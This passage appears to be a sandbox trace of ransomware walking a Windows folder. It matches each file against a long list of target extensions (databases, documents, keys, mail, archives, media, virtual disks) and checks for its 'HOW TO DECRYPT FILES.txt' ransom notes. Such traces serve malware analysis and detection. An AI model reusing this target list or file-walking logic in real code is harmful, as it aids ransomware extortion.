Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.mdb") returned 0 [0058.004] lstrlenA (lpString="*.mdb") returned 5 [0058.004] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.fdb") returned 0 [0058.004] lstrlenA (lpString="*.fdb") returned 5 [0058.004] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.wab") returned 0 [0058.004] lstrlenA (lpString="*.wab") returned 5 [0058.004] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.dat") returned 0 [0058.004] lstrlenA (lpString="*.dat") returned 5 [0058.004] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.txt") returned 0 [0058.004] lstrlenA (lpString="*.txt") returned 5 [0058.004] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.jpeg") returned 0 [0058.004] lstrlenA (lpString="*.jpeg") returned 6 [0058.004] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.jpg") returned 0 [0058.004] lstrlenA (lpString="*.jpg") returned 5 [0058.004] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.png") returned 0 [0058.004] lstrlenA (lpString="*.png") returned 5 [0058.005] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.php") returned 0 [0058.005] lstrlenA (lpString="*.php") returned 5 [0058.005] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.cs") returned 0 [0058.005] lstrlenA (lpString="*.cs") returned 4 [0058.005] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.cpp") returned 0 [0058.005] lstrlenA (lpString="*.cpp") returned 5 [0058.005] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.rar") returned 0 [0058.005] lstrlenA (lpString="*.rar") returned 5 [0058.005] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.zip") returned 0 [0058.005] lstrlenA (lpString="*.zip") returned 5 [0058.005] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.html") returned 0 [0058.005] lstrlenA (lpString="*.html") returned 6 [0058.005] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.htm") returned 0 [0058.005] lstrlenA (lpString="*.htm") returned 5 [0058.005] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.xlsx") returned 0 [0058.005] lstrlenA (lpString="*.xlsx") returned 6 [0058.005] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.xls") returned 0 [0058.005] lstrlenA (lpString="*.xls") returned 5 [0058.005] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.mp4") returned 0 [0058.005] lstrlenA (lpString="*.mp4") returned 5 [0058.005] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.ppt") returned 0 [0058.005] lstrlenA (lpString="*.ppt") returned 5 [0058.005] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.pptx") returned 0 [0058.005] lstrlenA (lpString="*.pptx") returned 6 [0058.005] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.doc") returned 0 [0058.006] lstrlenA (lpString="*.doc") returned 5 [0058.006] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.dot") returned 0 [0058.006] lstrlenA (lpString="*.dot") returned 5 [0058.006] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.docx") returned 0 [0058.006] lstrlenA (lpString="*.docx") returned 6 [0058.006] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.7z") returned 0 [0058.006] lstrlenA (lpString="*.7z") returned 4 [0058.006] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.tar") returned 0 [0058.006] lstrlenA (lpString="*.tar") returned 5 [0058.006] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.bz2") returned 0 [0058.006] lstrlenA (lpString="*.bz2") returned 5 [0058.006] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.gz") returned 0 [0058.006] lstrlenA (lpString="*.gz") returned 4 [0058.006] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.mkv") returned 0 [0058.006] lstrlenA (lpString="*.mkv") returned 5 [0058.006] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.eml") returned 0 [0058.006] lstrlenA (lpString="*.eml") returned 5 [0058.006] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.msg") returned 0 [0058.006] lstrlenA (lpString="*.msg") returned 5 [0058.006] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.edb") returned 0 [0058.006] lstrlenA (lpString="*.edb") returned 5 [0058.006] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.accdb") returned 0 [0058.006] lstrlenA (lpString="*.accdb") returned 7 [0058.006] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.odb") returned 0 [0058.006] lstrlenA (lpString="*.odb") returned 5 [0058.007] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.java") returned 0 [0058.007] lstrlenA (lpString="*.java") returned 6 [0058.007] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.asm") returned 0 [0058.007] lstrlenA (lpString="*.asm") returned 5 [0058.007] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.pfx") returned 0 [0058.007] lstrlenA (lpString="*.pfx") returned 5 [0058.007] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.pem") returned 0 [0058.007] lstrlenA (lpString="*.pem") returned 5 [0058.007] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.p12") returned 0 [0058.007] lstrlenA (lpString="*.p12") returned 5 [0058.007] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.gpg") returned 0 [0058.007] lstrlenA (lpString="*.gpg") returned 5 [0058.007] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.vsd") returned 0 [0058.007] lstrlenA (lpString="*.vsd") returned 5 [0058.007] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.odg") returned 0 [0058.007] lstrlenA (lpString="*.odg") returned 5 [0058.007] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.raw") returned 0 [0058.007] lstrlenA (lpString="*.raw") returned 5 [0058.007] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.nef") returned 0 [0058.007] lstrlenA (lpString="*.nef") returned 5 [0058.007] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.svg") returned 0 [0058.007] lstrlenA (lpString="*.svg") returned 5 [0058.007] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.psd") returned 0 [0058.007] lstrlenA (lpString="*.psd") returned 5 [0058.007] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.vmx") returned 0 [0058.007] lstrlenA (lpString="*.vmx") returned 5 [0058.007] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.vmdk") returned 0 [0058.007] lstrlenA (lpString="*.vmdk") returned 6 [0058.008] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.vdi") returned 0 [0058.008] lstrlenA (lpString="*.vdi") returned 5 [0058.008] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.lay6") returned 0 [0058.008] lstrlenA (lpString="*.lay6") returned 6 [0058.008] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.mpeg") returned 0 [0058.008] lstrlenA (lpString="*.mpeg") returned 6 [0058.008] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.djvu") returned 0 [0058.008] lstrlenA (lpString="*.djvu") returned 6 [0058.008] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.tiff") returned 0 [0058.008] lstrlenA (lpString="*.tiff") returned 6 [0058.008] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.backup") returned 0 [0058.008] lstrlenA (lpString="*.backup") returned 8 [0058.008] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.pdf") returned 0 [0058.008] lstrlenA (lpString="*.pdf") returned 5 [0058.008] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.cert") returned 0 [0058.008] lstrlenA (lpString="*.cert") returned 6 [0058.008] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.docm") returned 0 [0058.008] lstrlenA (lpString="*.docm") returned 6 [0058.008] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.xlsm") returned 0 [0058.008] lstrlenA (lpString="*.xlsm") returned 6 [0058.008] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.dwg") returned 0 [0058.008] lstrlenA (lpString="*.dwg") returned 5 [0058.008] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.nd") returned 0 [0058.008] lstrlenA (lpString="*.nd") returned 4 [0058.008] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.tlg") returned 0 [0058.008] lstrlenA (lpString="*.tlg") returned 5 [0058.008] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.lgb") returned 0 [0058.009] lstrlenA (lpString="*.lgb") returned 5 [0058.009] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.mov") returned 0 [0058.009] lstrlenA (lpString="*.mov") returned 5 [0058.009] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.xdw") returned 0 [0058.009] lstrlenA (lpString="*.xdw") returned 5 [0058.009] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.ods") returned 0 [0058.009] lstrlenA (lpString="*.ods") returned 5 [0058.009] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.wav") returned 0 [0058.009] lstrlenA (lpString="*.wav") returned 5 [0058.009] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.mp3") returned 0 [0058.009] lstrlenA (lpString="*.mp3") returned 5 [0058.009] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.aiff") returned 0 [0058.009] lstrlenA (lpString="*.aiff") returned 6 [0058.009] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.flac") returned 0 [0058.009] lstrlenA (lpString="*.flac") returned 6 [0058.009] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.m4a") returned 0 [0058.009] lstrlenA (lpString="*.m4a") returned 5 [0058.009] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.csv") returned 0 [0058.009] lstrlenA (lpString="*.csv") returned 5 [0058.009] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x11d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PICTIM32.FLT", cAlternateFileName="")) returned 1 [0058.009] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.009] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PICTIM32.FLT") returned -1 [0058.009] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PICTIM32.FLT") returned -1 [0058.009] lstrcmpiA (lpString1="", lpString2="PICTIM32.FLT") returned -1 [0058.009] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned="MS.WPG" [0058.009] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" [0058.009] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\") returned="" [0058.010] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO DECRYPT FILES.txt" [0058.010] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\how to decrypt files.txt")) returned 0x20 [0058.010] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\", lpString2="PICTIM32.FLT" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" [0058.010] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.ems") returned 0 [0058.010] lstrlenA (lpString="*.ems") returned 5 [0058.010] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.db") returned 0 [0058.010] lstrlenA (lpString="*.db") returned 4 [0058.010] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.dbf") returned 0 [0058.010] lstrlenA (lpString="*.dbf") returned 5 [0058.010] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.myox") returned 0 [0058.010] lstrlenA (lpString="*.myox") returned 6 [0058.010] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.myo") returned 0 [0058.010] lstrlenA (lpString="*.myo") returned 5 [0058.010] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.qbw") returned 0 [0058.010] lstrlenA (lpString="*.qbw") returned 5 [0058.010] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.qbb") returned 0 [0058.010] lstrlenA (lpString="*.qbb") returned 5 [0058.010] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.qbm") returned 0 [0058.010] lstrlenA (lpString="*.qbm") returned 5 [0058.010] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.qbo") returned 0 [0058.011] lstrlenA (lpString="*.qbo") returned 5 [0058.011] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.qbx") returned 0 [0058.011] lstrlenA (lpString="*.qbx") returned 5 [0058.011] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.qba") returned 0 [0058.011] lstrlenA (lpString="*.qba") returned 5 [0058.011] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.qby") returned 0 [0058.011] lstrlenA (lpString="*.qby") returned 5 [0058.011] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.qbj") returned 0 [0058.011] lstrlenA (lpString="*.qbj") returned 5 [0058.011] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.ofx") returned 0 [0058.011] lstrlenA (lpString="*.ofx") returned 5 [0058.011] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.qif") returned 0 [0058.011] lstrlenA (lpString="*.qif") returned 5 [0058.011] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.mye") returned 0 [0058.011] lstrlenA (lpString="*.mye") returned 5 [0058.011] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.mbox") returned 0 [0058.011] lstrlenA (lpString="*.mbox") returned 6 [0058.011] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.eml") returned 0 [0058.011] lstrlenA (lpString="*.eml") returned 5 [0058.011] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.pst") returned 0 [0058.011] lstrlenA (lpString="*.pst") returned 5 [0058.011] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.ost") returned 0 [0058.011] lstrlenA (lpString="*.ost") returned 5 [0058.011] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.idx") returned 0 [0058.012] lstrlenA (lpString="*.idx") returned 5 [0058.012] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.dbx") returned 0 [0058.012] lstrlenA (lpString="*.dbx") returned 5 [0058.012] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.sql") returned 0 [0058.012] lstrlenA (lpString="*.sql") returned 5 [0058.012] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.mdb") returned 0 [0058.012] lstrlenA (lpString="*.mdb") returned 5 [0058.012] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.fdb") returned 0 [0058.012] lstrlenA (lpString="*.fdb") returned 5 [0058.012] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.wab") returned 0 [0058.012] lstrlenA (lpString="*.wab") returned 5 [0058.012] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.dat") returned 0 [0058.012] lstrlenA (lpString="*.dat") returned 5 [0058.012] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.txt") returned 0 [0058.012] lstrlenA (lpString="*.txt") returned 5 [0058.012] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.jpeg") returned 0 [0058.012] lstrlenA (lpString="*.jpeg") returned 6 [0058.012] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.jpg") returned 0 [0058.012] lstrlenA (lpString="*.jpg") returned 5 [0058.012] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.png") returned 0 [0058.012] lstrlenA (lpString="*.png") returned 5 [0058.012] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.php") returned 0 [0058.012] lstrlenA (lpString="*.php") returned 5 [0058.012] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.cs") returned 0 [0058.012] lstrlenA (lpString="*.cs") returned 4 [0058.012] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.cpp") returned 0 [0058.012] lstrlenA (lpString="*.cpp") returned 5 [0058.013] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.rar") returned 0 [0058.013] lstrlenA (lpString="*.rar") returned 5 [0058.013] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.zip") returned 0 [0058.013] lstrlenA (lpString="*.zip") returned 5 [0058.013] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.html") returned 0 [0058.013] lstrlenA (lpString="*.html") returned 6 [0058.013] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.htm") returned 0 [0058.013] lstrlenA (lpString="*.htm") returned 5 [0058.013] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.xlsx") returned 0 [0058.013] lstrlenA (lpString="*.xlsx") returned 6 [0058.013] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.xls") returned 0 [0058.013] lstrlenA (lpString="*.xls") returned 5 [0058.013] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.mp4") returned 0 [0058.013] lstrlenA (lpString="*.mp4") returned 5 [0058.013] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.ppt") returned 0 [0058.013] lstrlenA (lpString="*.ppt") returned 5 [0058.013] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.pptx") returned 0 [0058.013] lstrlenA (lpString="*.pptx") returned 6 [0058.014] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.doc") returned 0 [0058.014] lstrlenA (lpString="*.doc") returned 5 [0058.014] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.dot") returned 0 [0058.014] lstrlenA (lpString="*.dot") returned 5 [0058.014] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.docx") returned 0 [0058.014] lstrlenA (lpString="*.docx") returned 6 [0058.014] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.7z") returned 0 [0058.014] lstrlenA (lpString="*.7z") returned 4 [0058.014] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.tar") returned 0 [0058.014] lstrlenA (lpString="*.tar") returned 5 [0058.014] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.bz2") returned 0 [0058.014] lstrlenA (lpString="*.bz2") returned 5 [0058.014] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.gz") returned 0 [0058.014] lstrlenA (lpString="*.gz") returned 4 [0058.014] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.mkv") returned 0 [0058.014] lstrlenA (lpString="*.mkv") returned 5 [0058.015] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.eml") returned 0 [0058.015] lstrlenA (lpString="*.eml") returned 5 [0058.015] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.msg") returned 0 [0058.015] lstrlenA (lpString="*.msg") returned 5 [0058.015] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.edb") returned 0 [0058.015] lstrlenA (lpString="*.edb") returned 5 [0058.015] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.accdb") returned 0 [0058.015] lstrlenA (lpString="*.accdb") returned 7 [0058.015] PathMatchSpecA 